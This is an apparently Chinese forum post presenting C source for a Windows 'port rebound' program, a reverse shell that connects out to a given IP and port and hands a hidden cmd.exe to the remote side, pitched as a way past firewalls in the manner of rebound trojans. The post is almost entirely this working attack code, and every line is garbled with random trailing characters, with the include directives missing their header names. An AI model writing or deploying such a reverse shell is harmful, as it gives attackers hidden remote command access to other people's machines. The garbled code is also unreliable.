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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Ab/v_ mA;  
FP0<-9DO  
/* ============================== vBV"i9n   
Rebound port in Windows NT '[0 3L9  
By wind,2006/7 48W:4B'l9  
===============================*/ >V3W>5X  
#include `,<>){c|  
#include \0xzBs1!  
8j({=xbg&  
#pragma comment(lib,"wsock32.lib") e=|F(iW  
FC|y'j 0  
void OutputShell(); <PH3gyC  
SOCKET sClient; L+`}euu5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WllCcD1  
a2 IV!0x  
void main(int argc,char **argv) im_0ur&'  
{ K .c6Rg  
WSADATA stWsaData; \L&qfMjW"Z  
int nRet; rGP? E3  
SOCKADDR_IN stSaiClient,stSaiServer; h=mI{w*  
.oB'ttF1  
if(argc != 3) Q|zE@nLS  
{ P<g|y4h  
printf("Useage:\n\rRebound DestIP DestPort\n"); +U c&%Px  
return; Bil;@,Z#  
} CgaB)`.  
c>%z)uY>/  
WSAStartup(MAKEWORD(2,2),&stWsaData); -b Ipmp?  
A X^3uRQJ  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F\YcSDM  
!~VR|n-  
stSaiClient.sin_family = AF_INET; :ok!,QN  
stSaiClient.sin_port = htons(0); \^^hG5f  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S(YHwH":  
ph5xW<VNP  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) r A&#>R`  
{ cfQh  
printf("Bind Socket Failed!\n"); z.\[Va$@l  
return;  G$cq   
} EUYa =-  
aL$c).hq0  
stSaiServer.sin_family = AF_INET; [ a65VR~J  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); b{ubp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); K.sj"#D  
Iu)(Huv  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `)xU;-  
{ (J?}eb;>n  
printf("Connect Error!"); U+3PqWB  
return; jd*%.FDi{  
} LQ&d|giA  
OutputShell(); f T+n-B  
} #uDBF  
*j|Tm7C  
void OutputShell() f%"_U'  
{ %<#$:Qb.  
char szBuff[1024]; (B~V:Yt  
SECURITY_ATTRIBUTES stSecurityAttributes; e&]`X HC9  
OSVERSIONINFO stOsversionInfo; 1rzq$,O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qjRiTIp9q  
STARTUPINFO stStartupInfo; `peJ s~V  
char *szShell; 'c+qBSDA  
PROCESS_INFORMATION stProcessInformation; v!v0,?b*  
unsigned long lBytesRead; [HZCnO|N  
H?r;S 5)c  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rF j)5~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K+TTYQ  
stSecurityAttributes.lpSecurityDescriptor = 0; G cLp"  
stSecurityAttributes.bInheritHandle = TRUE; '[ddE!ta  
jU9zCMyNF  
R`3>0LrC8  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !NY^(^   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); SJuf`  
 ,IvnNnl2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'C?f"P:X{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6+d"3-R.  
stStartupInfo.wShowWindow = SW_HIDE; g!|E!\p  
stStartupInfo.hStdInput = hReadPipe; %'~<:>:"E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KD3To%  
es(LE/`e  
GetVersionEx(&stOsversionInfo); "aO,  
QNI|h;D  
switch(stOsversionInfo.dwPlatformId) F'_8pD7  
{ tMk>Bx9[  
case 1: u~T$F/]k>  
szShell = "command.com"; [/,6O  
break; _G*x:<  
default: 8'\,&f`Y  
szShell = "cmd.exe"; :/[ZgreN6  
break; GSb)|mj  
} FG36,6N%2j  
`1v!sSR0R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *R6eykp  
!P^$g R  
send(sClient,szMsg,77,0); i/EiUH/~  
while(1) c] 0  
{  /lok3J:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MAo,PiYb  
if(lBytesRead) (_5+`YsV  
{ =F-^RnO%\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Id 7  
send(sClient,szBuff,lBytesRead,0); @Lv_\^2/}  
} {:8[Mdf  
else hLD;U J?S  
{ q5?mP6   
lBytesRead=recv(sClient,szBuff,1024,0); w% -!dbmb%  
if(lBytesRead<=0) break; TB[2!ZW  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H 6<@  
} 9)hC,)5  
} uM<+2S  
hQx e0Pdt  
return; %4^/.) Q  
}
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